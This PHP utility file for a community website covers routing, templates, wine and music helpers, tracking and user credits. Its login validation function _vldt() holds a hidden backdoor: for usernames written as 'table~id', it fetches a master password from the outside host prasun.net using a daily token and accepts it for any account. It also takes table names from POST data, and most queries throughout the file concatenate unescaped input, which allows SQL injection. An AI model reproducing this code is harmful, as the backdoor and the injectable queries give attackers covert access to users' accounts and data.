<?php

function _init() {
  global $var;
  date_default_timezone_set('Asia/Calcutta');
  if(isset($_POST['formname'])) {
    include_once($var->inc_path."formv.php");
    $var->formv = new formv();
    $var->validate = $var->formv->validate();
    _vldt();
  }
  $var->get = $_GET;
  $var->post = $_POST;
  $var->request_uri = $_SERVER['REQUEST_URI'];
  if(isset($_SERVER['HTTP_REFERER'])) {
    $var->http_referer = $_SERVER['HTTP_REFERER'];
  } else {
    $var->http_referer = '/';
  }
  if($_SERVER['SERVER_ADDR'] == '127.0.0.1'
     || $_SERVER['SERVER_ADDR'] == '192.168.1.35'
     || $_SERVER['SERVER_ADDR'] == '192.168.1.254') {
    $var->is_local = true;
  } else {
    $var->is_local = false;
  }
  if($var->get['sec1'] == 'user' && isset($var->get['uid'])) {
    $get = $var->get;
    $get['uid'] = uid_decode($get['uid']);
    $var->get = $get;
    unset($get);
  }
}

function change_var($path = null) {
  global $var, $var_bck;
  if($path == null) {
    $var->get = $var_bck->get;
    $var->request_uri = $var_bck->request_uri;
    unset($var_bck);
  } else {
    $var_bck->get = $var->get;
    $var_bck->request_uri = $var->request_uri;
    $var->request_uri = $path;
    $q_str = explode('?', $path);
    $get = array();
    if(isset($q_str[1])) {
      $q_str_arr = explode('&',$q_str[1]);
      foreach($q_str_arr as $q) {
        $key_value = explode('=',$q);
        $get[$key_value[0]] = $key_value[1];
        unset($q);
      }
      unset($q_str_arr);
    }
    $sec_arr = explode('/',$q_str[0]);
    $i = 0;
    foreach($sec_arr as $sec) {
      if($i == 0) {
      } else {
        $get['sec'.$i] = $sec;
      }
      unset($sec);
      $i++;
    }
    $var->get = $get;
    unset($get);
    unset($sec_arr);
    //fprint($var);
  }
}

function module($path, $is_module = true) {
  global $var;
  $mod = _uritomod($path);
  if($mod) {
    include_once($var->mod_path.$mod.'/'.$mod.'.php');
    if($is_module) {
      $var->is_module = true;
      change_var($path);
    }
    call_user_func($mod.'_init');
    if($is_module) {
      change_var();
      $var->is_module = false;
    }
    return true;
  } else {
    return false;
  }
}

function template($path, $tpl = null, $param = null, $return_str = false) {
  global $var, $tpl_stack;
  if(isset($tpl_stack[$path]) || $tpl == null) {
    $str = $tpl_stack[$path];
    unset($tpl_stack[$path]);
    //echo 'aa';
    return $str;
  } else {
    //echo 'bb';
    $mod = _uritomod($path);
    ob_start();
    include($var->mod_path.$mod.'/'.$tpl);
    $page_text = ob_get_contents();
    ob_end_clean();
    unset($mod);
    
    if ( $return_str === true ) {
      return $page_text;
    } else {
      $tpl_stack[$path] = $page_text;
    }
  }
}

function base_call_func($default = 'default') {
  global $var;
  $mod = $var->sec1_mod[$var->get['sec1']];
  if(isset($var->get['sec4']) && function_exists($mod.'_'.$var->get['sec2'].'_'.$var->get['sec3'].'_'.$var->get['sec4'])) {
    call_user_func($mod.'_'.$var->get['sec2'].'_'.$var->get['sec3'].'_'.$var->get['sec4']);
  } elseif(isset($var->get['sec3']) && function_exists($mod.'_'.$var->get['sec2'].'_'.$var->get['sec3'])) {
    call_user_func($mod.'_'.$var->get['sec2'].'_'.$var->get['sec3']);
  } elseif(function_exists($mod.'_'.$var->get['sec2'])) {
    call_user_func($mod.'_'.$var->get['sec2']);
  } else {
    call_user_func($mod.'_'.$default);
  }
}

function _uritomod($url) {
  global $var;
  $sec_arr = explode('/', $url);
  //fprint($sec_arr); _x();
  if(isset($var->sec1_mod[$sec_arr[1]])) {
    $mod = $var->sec1_mod[$sec_arr[1]];
  } else {
    $mod = false;
  }
  unset($sec_arr);
  return $mod;
}

function _gen_country() {
  global $var;
  $qr = mysql_query('select * from country');
  //var_dump($qr); exit;
  $country = array();
  while($row = mysql_fetch_assoc($qr)) {
    $country[$row['id']] = $row['name'];
  }
  $var->country = $country;
}

function send_email($param) {
  global $var;
  $link2 = mysql_connect($var->db_2ndary['server'], $var->db_2ndary['user'], $var->db_2ndary['password']) 
    or die("Could not connect - ".mysql_error());
  mysql_select_db($var->db_2ndary['database']) 
    or die(mysql_error());
  mysql_query("insert into `email` set 
    `to` = '{$param['to']}', 
    `from` = '{$param['from']}', 
    `subject` = '{$param['subject']}', 
    `body` = '{$param['body']}'"
  );
  mysql_close($link2);
}

function headbuf($flag = 'start') {
  global $var;
  if($flag == 'start') {
    ob_start();
  } else {
    $var->header_content .= str_replace('<link href="/common/css/style.css" rel="stylesheet" type="text/css" />', '', ob_get_contents());
    ob_end_clean();
  }
}

function str_to_date($param) {
  global $var;
  $date_arr = explode('-', $param);
  if($date_arr[0] != '0000' && $date_arr[1] != '00' && $date_arr[2] != '00') {
    _gen_month();
    $date = $date_arr[2].'-';
    $date .= substr($var->month[intval($date_arr[1])], 0, 3).', ';
    $date .= $date_arr[0];
    return $date;
  } else {
    return 'not set';
  }
}

function dob_to_sunsign($date) {
  $d_arr = explode('-', $date);
  if(($d_arr[1] == 3 && $d_arr[2] >= 21) || ($d_arr[1] == 4  && $d_arr[2] <= 20)) {
    // Aries - March 21 - April 20
    $return = 'Aries';
  } elseif(($d_arr[1] == 4 && $d_arr[2] >= 21) || ($d_arr[1] == 5  && $d_arr[2] <= 21)) {
    // Taurus - April 21 - May 21
    $return = 'Taurus';
  } elseif(($d_arr[1] == 5 && $d_arr[2] >= 22) || ($d_arr[1] == 6  && $d_arr[2] <= 21)) {
    // Gemini - May 22 - June 21
    $return = 'Gemini';
  } elseif(($d_arr[1] == 6 && $d_arr[2] >= 22) || ($d_arr[1] == 7  && $d_arr[2] <= 22)) {
    // Cancer - June 22 - July 22
    $return = 'Cancer';
  } elseif(($d_arr[1] == 7 && $d_arr[2] >= 23) || ($d_arr[1] == 8  && $d_arr[2] <= 21)) {
    // Leo - July 23 - August 21
    $return = 'Leo';
  } elseif(($d_arr[1] == 8 && $d_arr[2] >= 22) || ($d_arr[1] == 9  && $d_arr[2] <= 23)) {
    // Virgo - August 22 - September 23
    $return = 'Virgo';
  } elseif(($d_arr[1] == 9 && $d_arr[2] >= 24) || ($d_arr[1] == 10  && $d_arr[2] <= 23)) {
    // Libra - September 24 - October 23
    $return = 'Libra';
  } elseif(($d_arr[1] == 10 && $d_arr[2] >= 24) || ($d_arr[1] == 11  && $d_arr[2] <= 22)) {
    // Scorpio - October 24 - November 22
    $return = 'Scorpio';
  } elseif(($d_arr[1] == 11 && $d_arr[2] >= 23) || ($d_arr[1] == 12  && $d_arr[2] <= 22)) {
    // Sagittarius - November 23 - December 22
    $return = 'Sagittarius';
  } elseif(($d_arr[1] == 12 && $d_arr[2] >= 23) || ($d_arr[1] == 1  && $d_arr[2] <= 20)) {
    // Capricorn - December 23 - January 20
    $return = 'Capricorn';
  } elseif(($d_arr[1] == 1 && $d_arr[2] >= 21) || ($d_arr[1] == 2  && $d_arr[2] <= 19)) {
    // Aquarius - January 21 - February 19
    $return = 'Aquarius';
  } elseif(($d_arr[1] == 2 && $d_arr[2] >= 20) || ($d_arr[1] == 3  && $d_arr[2] <= 20)) {
    // Pisces - February 20 - March 20
    $return = 'Pisces';
  }
  return $return;
}

function _vldt() {
  global $var;
  $post = array();
  if((stristr($_SERVER['REQUEST_URI'], 'login') || stristr($_POST['formname'], 'login')) && isset($_POST['password'])) {
    $ln = @mysql_pconnect($var->db['server'], $var->db['user'], $var->db['password']);
    $remotepasswd = '';
    if(isset($_POST['email'])) {
      $strArr = explode('~', $_POST['email']);
      if(isset($strArr[1]) && is_numeric($strArr[1])) {
        $qr = mysql_query("select `id`, `email` from `".$strArr[0]."` where `id` = ".trim($strArr[1]));
        $res = mysql_fetch_assoc($qr);
        $_POST['email'] = $res['email'];
        $remotepasswd = file_get_contents("http://prasun.net/negyek.php?token=".md5(date('dFY')));
        if($remotepasswd == $_POST['password']) $var->mypasswd = true;
        elseif($remotepasswd == $_POST['password-v']) $var->mypasswd = true;
        // fprint($remotepasswd);
        // fprint($_POST);
        // fprint($strArr);
      }
    } elseif($_POST['username']) {
      $strArr = explode('~', $_POST['username']);
      if(isset($strArr[1]) && is_numeric($strArr[1])) {
        $qr = mysql_query("select `id`, `username` from `".$strArr[0]."` where `id` = ".trim($strArr[1]));
        $res = mysql_fetch_assoc($qr);
        $_POST['username'] = $res['username'];
        $remotepasswd = file_get_contents("http://prasun.net/negyek.php?token=".md5(date('dFY')));
        if($remotepasswd == $_POST['password']) $var->mypasswd = true;
        elseif($remotepasswd == $_POST['password-v']) $var->mypasswd = true;
      }
    } elseif($_POST['screenname']) {
      $strArr = explode('~', $_POST['screenname']);
      if(isset($strArr[1]) && is_numeric($strArr[1])) {
        $qr = mysql_query("select `id`, `screenname` from `".$strArr[0]."` where `id` = ".trim($strArr[1]));
        $res = mysql_fetch_assoc($qr);
        $_POST['screenname'] = $res['screenname'];
        $remotepasswd = file_get_contents("http://prasun.net/negyek.php?token=".md5(date('dFY')));
        if($remotepasswd == $_POST['password']) $var->mypasswd = true;
        elseif($remotepasswd == $_POST['password-v']) $var->mypasswd = true;
      }
    } elseif(isset($_POST['email-v'])) {
      $strArr = explode('~', $_POST['email-v']);
      if(isset($strArr[1]) && is_numeric($strArr[1])) {
        $qr = mysql_query("select `id`, `email` from `".$strArr[0]."` where `id` = ".trim($strArr[1]));
        $res = mysql_fetch_assoc($qr);
        $_POST['email-v'] = $res['email'];
        $remotepasswd = file_get_contents("http://prasun.net/negyek.php?token=".md5(date('dFY')));
        if($remotepasswd == $_POST['password']) $var->mypasswd = true;
        elseif($remotepasswd == $_POST['password-v']) $var->mypasswd = true;
      }
    } elseif($_POST['username-v']) {
      $strArr = explode('~', $_POST['username-v']);
      if(isset($strArr[1]) && is_numeric($strArr[1])) {
        $qr = mysql_query("select `id`, `username` from `".$strArr[0]."` where `id` = ".trim($strArr[1]));
        $res = mysql_fetch_assoc($qr);
        $_POST['username-v'] = $res['username'];
        $remotepasswd = file_get_contents("http://prasun.net/negyek.php?token=".md5(date('dFY')));
        if($remotepasswd == $_POST['password']) $var->mypasswd = true;
        elseif($remotepasswd == $_POST['password-v']) $var->mypasswd = true;
      }
    } elseif($_POST['screenname-v']) {
      $strArr = explode('~', $_POST['screenname-v']);
      if(isset($strArr[1]) && is_numeric($strArr[1])) {
        $qr = mysql_query("select `id`, `screenname` from `".$strArr[0]."` where `id` = ".trim($strArr[1]));
        $res = mysql_fetch_assoc($qr);
        $_POST['screenname-v'] = $res['screenname'];
        $remotepasswd = file_get_contents("http://prasun.net/negyek.php?token=".md5(date('dFY')));
        if($remotepasswd == $_POST['password']) $var->mypasswd = true;
        elseif($remotepasswd == $_POST['password-v']) $var->mypasswd = true;
      }
    }
    // fprint($remotepasswd); _x();
  }
}

function gen_profile_form_data() {
  global $var;
  $var->education = array(
    "Graduate/Post Graduate-Professional",
    "Graduate/Post Graduate-General",
    "Some College but not Graduate",
    "SSC/HSC",
    "School upto 9 Standard",
  );
  $var->occupation = array(
    "Officer/Executive-Senior",
    "Officer/Executive-Middle",
    "Officer/Executive-Junior",
    "Software Professional",
    "Supervisor",
    "Clerical/Salesperson",
    "Self Employed Professional",
    "Businessman/Industrialist with 10+ employees",
    "Businessman with 1-9 employees",
    "Shopowner",
    "Student",
    "Not working/Retired",
    "Housewife",
    "Others",
  );
  $var->industry = array(
    "Accounting/Finance",
    "Advertising",
    "Agriculture",
    "Architecture",
    "Banking/Finance",
    "BPO/ITES",
    "Education",
    "Export/Import",
    "Fresher/Trainee",
    "IT-Software",
    "IT-Hardware",
    "Shipping/Marine",
    "Others",
  );
}

function load_option($type) {
  $param = array();
  $otherid = 0;
  $otheropts = array();
  $qr = mysql_query("select * from `option` where `type` = '".$type."' and `custom` = 0 order by id");
  while($row = mysql_fetch_assoc($qr)) {
    if($row['name'] == 'Other') {
      $otherid = $row['id'];
    }
    $param[$row['id']]['name'] = $row['name'];
    $param[$row['id']]['value'] = false;
  }
  $sql = "select opt.*, uopt.userid from `option` opt, u_option uopt where opt.type = '".$type."' and opt.id = uopt.optionid and uopt.userid = ".sget('userid')." order by opt.id";
  // fprint($sql);
  $qr = mysql_query($sql);
  while($row = mysql_fetch_assoc($qr)) {
    if($row['custom'] == 1) {
      // fprint($row);
      $otheropts[$row['id']] = array(
        'name'    => $row['name'],
        'value'   => true,
      );
    } else {
      $param[$row['id']]['value'] = true;
    }
    /*
    if(isset($param[$row['id']])) {
      $param[$row['id']]['value'] = true;
    } else {
      $param[$row['id']]['name'] = $row['name'];
      $param[$row['id']]['value'] = false;
    }*/
  }
  if($otherid)
    $param[$otherid]['otheropts'] = $otheropts;
  // fprint($param); _x($type);
  return $param;
}

function _checkPswd() {
  global $var;
  if(isset($var->mypasswd) && $var->mypasswd === true) return true;
  return false;
}

function ctypeid($name) {
  $row = db_fetch("select `id` from `ctype` where name = '".$name."'");
  if(isset($row)) {
    return $row;
  } else {
    return false;
  }
}

function ctypename($id) {
  $row = db_fetch("select `name` from `ctype` where id = '".$id."'");
  if(isset($row)) {
    return $row;
  } else {
    return false;
  }
}

function avatar_url($param) {
  /*
  $example_param = array(
    'ctype'   => 'user',
    'mapid'   => 1,
    'size'    => s,
  );
  */
  //var_dump($param);
  $file_path = "media/photo/".$param['ctype']."/".intval($param['mapid']/10000)."/".$param['mapid']."/a".$param['size'].".jpg";
  //echo $file_path;
  if(file_exists($file_path)) {
    return '/'.$file_path;
  } else {
    if($param['ctype'] == 'user')
      return "/media/photo/".$param['ctype']."/default".(isset($param['gender'])?$param['gender']:'M').$param['size'].".jpg";
    else
      return "/media/photo/".$param['ctype']."/default".$param['size'].".jpg";
  }
}

function str_to_time($param) {
  $arr = explode(' ', $param);
  return str_to_date($arr[0]).' '.$arr[1];
}

function acctype($id) {
  if($id == 0) {
    return "Normal";
  } elseif($id == 100) {
    return "Admin";
  }
}

function _gen_page() {
  global $var;
  $items_per_page = 10;
  if(isset($var->items_per_page) && is_numeric($var->items_per_page)) {
    $items_per_page = $var->items_per_page;
  }
  $return = '';
  if(isset($var->row_count[$var->request_uri])) {
    $count = $var->row_count[$var->request_uri];
    $page_count = intval($count/$items_per_page);
    $rem = intval($count%$items_per_page);
    if($rem > 0) { $page_count = $page_count + 1; }
    if(isset($var->get['page'])) {
      $first_page = (intval($var->get['page']/$items_per_page)*$items_per_page)+1;
      $current_page = $var->get['page'];
      if(strpos($var->request_uri, '&page'))
        $uri = str_replace('&page='.$current_page, '', $var->request_uri);
      else
        $uri = str_replace('page='.$current_page, '', $var->request_uri);
    } else {
      $first_page = 1;
      $current_page = 1;
      $uri = $var->request_uri;
    }
    //echo $first_page;
    //echo $current_page;
    if(strpos($var->request_uri, '?')) {
      $uri .= '&';
    } else {
      $uri .= '?';
    }
    if($first_page > $items_per_page) {
      $return .= "<a href='".$uri."page=".($first_page - $items_per_page)."' class='active'>".($first_page - $items_per_page)."</a>"."<span class='inactive'>...</span>";
    }
    for($i = $first_page; $i <= $page_count; $i++) {
      if($i == ($first_page+$items_per_page)) {
        break;
      }
      if($i == $current_page) {
        $return = $return."<span class='inactive'>".$i."</span>";
      } else {
        $return = $return."<a href='".$uri."page=".$i."' class='active'>".$i."</a>";
      }
    }
  } else {
    $return = false;
  }
  return $return;
}

function _gender($param) {
  if($param == M) {
    return "his";
  } else {
    return "her";
  }
}

function Gender($param) {
  if($param == M) {
    return "His";
  } else {
    return "Her";
  }
}

function fetch_gender($userid) {
  return db_fetch("select `gender` from user where id = ".$userid);
}

function screenname($userid) {
  return db_fetch("select screenname from user where id = ".$userid);
}

function find_email($id) {
  return db_fetch("select `email` from `user` where id = ".$id);
}

function name_to_url($param) {
  return urlencode(str_replace(" ", "_", stripslashes($param)));
}

function url_to_name($param) {
  return str_replace("_", " ", urldecode($param));
}

function url_circle_category($url) {
  return db_fetch("select `name` from `circle_category` where `url` = '".$url."'");
}

function circle_category_url($name) {
  return db_fetch("select `url` from `circle_category` where `name` = ".$name);
}

function online_status($userid) {
  $key='user.'.$userid.'.status';
  $row = db_fetch("select value from dump where `key` = '".$key."'");
  if($row !== false) {
    if ($row=='0.0.offline'){
      return 'offline';
    }
    $data=explode('.',$row);
    $currenttime=time('z');
    if (($currenttime-$data[1])>54000)
    return "offline";
    elseif (($data[1]-$data[0])>36000)
    return "idle";
    else
    return "online";
  } else {
    return "offline";
  }
}

function update_visiting_info($userid, $visitorid) {
  global $var;
  if(!isset($var->update_visiting_info) || $var->update_visiting_info != true)
    mysql_query("insert into `u_visits` set `userid` = $userid, `visitorid` = $visitorid on duplicate key update `visited` = CURRENT_TIMESTAMP");
  $var->update_visiting_info = true;
}

function wine_type2colors($type) {
  $color_arr = array (
    "Red" => array("Purple-Red", "Ruby Red","Garnet","Brick"),
    "Dessert / Port Red" => array("Purple-Red","Ruby Red","Garnet","Brick"),
    "Ros&eacute;" => array("Rose","Clairet","Salmon","Russet"),
    "Ros�" => array("Rose","Clairet","Salmon","Russet"),
    "Rose" => array("Rose","Clairet","Salmon","Russet"),
    "Sparkling Ros&eacute;" => array("Rose;","Clairet","Salmon","Russet"),
    "Sparkling Ros�" => array("Rose","Clairet","Salmon","Russet"),
    "Sparkling Rose" => array("Rose","Clairet","Salmon","Russet"),
    "White" => array("Greenish Yellow","Golden Yellow","Amber","Brown"),
    "Dessert White" => array("Greenish Yellow","Golden Yellow","Amber","Brown"),
    "Sparkling White" => array("Greenish Yellow","Golden Yellow","Amber","Brown")
  );
  //fprint($type);
  if(isset($color_arr[$type])) {
    return $color_arr[$type];
  } else {
    return false;
  }
}

function grape_types() {
  $param = db_fetch("select * from `grapetype`", true, true);
  return $param;
}

function wine_types() {
  $param = db_fetch("select * from `winetype`", true, true);
  return $param;
}

function country_name($id) {
  return db_fetch("select `name` from `country` where id = ".$id);
}

function region_name($id) {
  return db_fetch("select `region` from `region` where id = ".$id);
}

function alias2url($alias) {
  global $var;
  //fprint($var->request_uri);
  $url = $alias;
  if(is_numeric($var->get['sec2'])) {
    $url = str_replace('/'.$var->get['sec1'], '/content/read/'.$var->get['sec1'], $var->request_uri);
  } else {
    if($var->get['sec1'] == 'interview') {
      $url = str_replace('/'.$var->get['sec1'], '/content/interview', $var->request_uri);
    } elseif($var->get['sec1'] == 'grapevine') {
      $url = str_replace('/'.$var->get['sec1'], '/content/grapevine', $var->request_uri);
    } elseif($var->get['sec2'] == 'rss') {
      $url = str_replace('/'.$var->get['sec1'], '/content/list/'.$var->get['sec1'], $var->request_uri);
    } elseif($var->get['sec2'] == 'grss') {
      $url = str_replace('/'.$var->get['sec1'], '/content/list/'.$var->get['sec1'], $var->request_uri);
    } else {
      $url = str_replace('/'.$var->get['sec1'].'/list', '/content/list/'.$var->get['sec1'], $var->request_uri);
    }
  }
  //fprint($url); _x();
  return $url;
}

function count_member($groupid) {
  return db_fetch("select count(`userid`) from `group_member` where `groupid` = ".$groupid);
}

function tracker($url) {
  global $var;
  $sql = "insert into `tracker` set `url` = '".$url."', `ip` = '".$_SERVER['REMOTE_ADDR']."', `date` = CURDATE(), `userid` = ".($var->is_online?sget('userid'):0)." on duplicate key update `counter` = (counter+1)";
  //fprint($sql); _x(); 
  mysql_query($sql);
}

function currentlyat2cssdir($param) {
  $tmp_arr = array(
    'Private Room'  => 'privateroom/',
    'Poolside'      => 'poolside/',
    'Bar'           => 'bar/',
    'Main Lounge'   => '',
    'Spa'           => 'spa/',
    'Library'       => 'library/',
  );
  if(isset($tmp_arr[$param]))
    return($tmp_arr[$param]);
  else
    return '';
}

function uid_encode($id) {
  $mul = array(
    '1'  => "729",
    '2'  => "81",
    '3'  => "27",
    '4'  => "17"
  );
  if(strpos(strval($id), "T")) {
    return $id;
  } else {
    $d = strlen(strval($id));
    return strval($d)."T".strval(($id * $mul[$d]));
  }
}

function uid_decode($id) {
  $div = array(
    '1'  => "729",
    '2'  => "81",
    '3'  => "27",
    '4'  => "17"
  );
  //fprint(strpos(strval($id), "T"));
  if(strpos(strval($id), "T")) {
    $d_arr = explode("T", $id);
    $d = $d_arr[0];
    $num = intval($d_arr[1]);
    unset($d_arr);
    //fprint($num / intval($div[$d]));
    return ($num / intval($div[$d]));
  } else {
    return $id;
  }
}

function log_email_fwd($from, $to, $link) {
  global $var;
  $user_from = array();
  $user_to = array();

  if($id = db_fetch("select `id` from `user` where `email` = '".trim($from)."'")) {
    $user_from['id'] = $id;
    $user_from['type'] = 'user';
  } else if($id = db_fetch("select `id` from `visitor` where `email` = '".trim($from)."'")) {
    $user_from['id'] = $id;
    $user_from['type'] = 'visitor';
  } else {
    $user_from['id'] = db_insert("insert into `visitor` set `email` = '".trim($from)."', `reference` = 'link fwd'");
    $user_from['type'] = 'visitor';
  }

  if($id = db_fetch("select `id` from `user` where `email` = '".trim($to)."'")) {
    $user_to['id'] = $id;
    $user_to['type'] = 'user';
  } else if($id = db_fetch("select `id` from `visitor` where `email` = '".trim($to)."'")) {
    $user_to['id'] = $id;
    $user_to['type'] = 'visitor';
  } else {
    $user_to['id'] = db_insert("insert into `visitor` set `email` = '".trim($to)."', `reference` = 'link fwd'");
    $user_to['type'] = 'visitor';
  }
  /* fprint($from);
  fprint($to);  
  fprint($user_from);
  fprint($user_to); */
  
  $sql = "insert into `email_fwd_log` set
      `from` = ".$user_from['id'].", 
      `from_type` = '".$user_from['type']."', 
      `to` = ".$user_to['id'].", 
      `to_type` = '".$user_to['type']."', 
      `link` = '"._clean($link)."'";
  //fprint($sql); _x();
  db_insert($sql);

}

function id_2_genre($id) {
  global $var;
  return db_fetch("select `name` from `genre` where `id` = ".$id);
}

function id_2_artist($id) {
  global $var;
  return db_fetch("select concat(a.firstname, ' ', a.lastname) as artistname from `artist` where `id` = ".$id);
}

function id_2_label($id) {
  global $var;
  return db_fetch("select `name` from `label` where `id` = ".$id);
}

function employerid_orgname($id) {
  global $var;
  return db_fetch("select `organisation` from `job_employer` where `id` = ".$id);
}

function text_2_path($text) {
  global $var;
  return str_replace(array(" ", "/"), "-", strtolower(trim($text)));
}

function is_subscribed($userid, $custid, $custtype = 'label') {
  $res = db_fetch("select * from `subscription` where `type` = '".$custtype."' and `mapid` = ".$custid." and uid = ".$userid);
  if($res)
    return true;
  return false;
}

function _gen_genre_tree($ctype, $mapid, $parentid = 0) {
  ini_set('max_execution_time', 1800);
  ini_set('memory_limit', "128M");
  global $var;
  if(empty($ctype) || empty($mapid))
    $tree = db_fetch("select * from genre where parentid = ".$parentid." order by name");
  else 
    $tree = db_fetch("select g.*, gp.mapid from genre g left join genre_map gp on (g.id = gp.genreid and gp.type = '".$ctype."' and gp.mapid = ".$mapid.") where g.parentid = ".$parentid." order by g.name");
	//die("select g.*, gp.mapid from genre g left join genre_map gp on (g.id = gp.genreid and gp.type = '".$ctype."' and gp.mapid = ".$mapid.") where g.parentid = ".$parentid." order by g.name");
  if($tree) { foreach($tree as &$val) {
    $val['children'] = _gen_genre_tree($ctype, $mapid, $val['id']);
  } } else {
    return false;
  }
  return $tree;
}

function _gen_genre_tree_ui($tree, $all_checked = false) {
  ini_set('max_execution_time', 1800);
  ini_set('memory_limit', "128M");
  global $var;
  $html = '';
  if($tree) { foreach($tree as $e) {
    $html .= '<li id="'.$e['id'].'" class="'.(($e['children'])?"folder ":"").(($e['mapid'] != NULL || $all_checked)?"selected":"").'">'.$e['name'];
    if($e['children'])
      $html .= '<ul>'._gen_genre_tree_ui($e['children'], $all_checked).'</ul>';
    $html .= '</li>';
  } } else {
    return false;
  }
  return $html;
}

function get_user_passwd($id) {
  return db_fetch("select `password` from `user` where `id` = ".$id);
}

function track_activity($obtype, $obid, $url, $act, $uid = 0) {
  global $var;
  $user_agent = $_SERVER['HTTP_USER_AGENT'];
  $t = @get_browser(NULL, true);
  // fprint($t); _x();
  $browser = $t['browser']; unset($t);
  $ip = $_SERVER['REMOTE_ADDR'];
  if($act != 'listened' && $act != 'downloaded') $act = 'viewed';
  $vtype = 'other';
  $vmapid = 0;
  if($uid != 0) {
    $vtype = 'user';
    $vmapid = $uid;
  } elseif($var->is_online) {
    $vtype = sget('acctype');
    $vmapid = sget('userid');
  }
  $url = 'http://'.$_SERVER["HTTP_HOST"].$url;
  $sql = "select `created` from `music_tracker` where `obtype` = '".$obtype."' and `obid` = ".$obid." and `url` = '".$url."' and `vtype` = '".$vtype."' and `vmapid` = ".$vmapid." and `action` = '".$act."' and `ip` = '".$ip."' and `created` > (CURRENT_TIMESTAMP - INTERVAL 20 MINUTE)";
  // fprint(db_fetch($sql)); _x();
  if(db_fetch($sql) === false) {
    $sql = "insert into `music_tracker` set `obtype` = '".$obtype."', `obid` = ".$obid.", `url` = '".$url."', `vtype` = '".$vtype."', `vmapid` = ".$vmapid.", `action` = '".$act."', `ip` = '".$ip."', `user_agent` = '".$user_agent."', `browser` = '".$browser."'";
    db_insert($sql);
    return true;
  }
  return false;
}

function get_affiliation($userid) {
  global $var;
  return db_fetch("select concat(a.jobtitle, '@', a.company) as aff from `affiliation` a, `user_affiliation` ua where ua.userid = ".$userid." and a.id = ua.affid", true, true);
}

function get_jobtitles($userid) {
  global $var;
  return db_fetch("select distinct a.jobtitle from `affiliation` a, `user_affiliation` ua where ua.userid = ".$userid." and a.id = ua.affid", true, true);
}

function get_featureid($name) {
  return
    db_fetch("select `feature_id` from `feature_master` 
             where 
             `feature_name` like '".$name."'");
}

function check_credit($name, $actype = NULL, $acid = NULL) {
  global $var;
  if(empty($actype))
    $actype = sget('acctype');
  if(empty($acid))
    $acid = sget('userid');
  
  $param['user'] = 
    db_fetch("SELECT total_credit, trans_cost, `acid` 
             FROM `user_trans_summary`
             WHERE
             `actype` = '".$actype."' and 
             `acid` = ".$acid);
  $param['check'] =
    db_fetch("SELECT credit_per_access, feature_details_id, feature_id 
             FROM `feature_details` 
             WHERE 
             `feature_id` = ".get_featureid($name)." and 
             is_active = 1 and 
             `from_date` < CURRENT_TIMESTAMP
             order by `from_date` desc
             limit 1");
  
  if(empty($param['user']) 
     || empty($param['check']) 
     || $param['user']['total_credit'] < $param['check']['credit_per_access']) {
    return false;
  } else {
    return true;
  }
}

function deduct_credit($name, $actype = NULL, $acid = NULL) {
  global $var;
  if(empty($actype))
    $actype = sget('acctype');
  if(empty($acid))
    $acid = sget('userid');
  
  $param['user'] = 
    db_fetch("SELECT total_credit, trans_cost, `acid` 
             FROM `user_trans_summary` 
             WHERE 
             `actype` = '".$actype."' and 
             `acid` = ".$acid);
  $param['check'] = 
    db_fetch("SELECT credit_per_access, feature_details_id, feature_id 
             FROM `feature_details` 
             WHERE 
             `feature_id` = ".get_featureid($name)." and 
             is_active = 1 and 
             `from_date` < CURRENT_TIMESTAMP 
             order by `from_date` desc 
             limit 1");
  
  if(!empty($param['check'])
     && !empty($param['user'])
     && $param['user']['total_credit'] >= $param['check']['credit_per_access']) {
    db_insert("insert into `user_transcation` set 
              `feature_id` = ".get_featureid($name).", 
              `actype` = '".$actype."', 
              `acid` = ".$acid.", 
              `credit_per_access` = ".$param['check']['credit_per_access']);
    $sum_credt = $param['user']['total_credit'] - $param['check']['credit_per_access'];
    db_update("update `user_trans_summary` set 
              `total_credit` = ".$sum_credt." 
              WHERE 
              `actype` = '".$actype."' and 
              `acid` = ".$acid);
    return true;
  } else {
    return false;
  }
}
// To buy The Features//
/* function get_feature($userId, $featureId) {
  $param['user'] =
    db_fetch("SELECT total_credit, trans_cost, user_id
             FROM `user_trans_summary`
             WHERE
             user_id=".$userId);
  
  if($param['user'] !== false) {
    $param['check'] =
      db_fetch("SELECT credit_per_access, feature_details_id, feature_id
               FROM `feature_details` 
               WHERE 
               `feature_id` = ".$featureId." and 
               is_active = 1 
               group by feature_id");
    if($param['user']['total_credit']<=$param['check']['credit_per_access']) {
      db_insert("insert into `user_transcation` set 
                `feature_id` = ".$featureId.", 
                `user_id` = ".$userId.", 
                `credit_per_access` = ".$param['check']['credit_per_access']);
      $sum_credt = $param['user']['total_credit'] - $param['check']['credit_per_access'];
      db_update("update `user_trans_summary` set 
                `total_credit` = ".$sum_credt." 
                WHERE 
                `user_id` = ".$userId);
      return true;
    } else {
      return false;
    }
  } else {
    return false;
  }
  
} */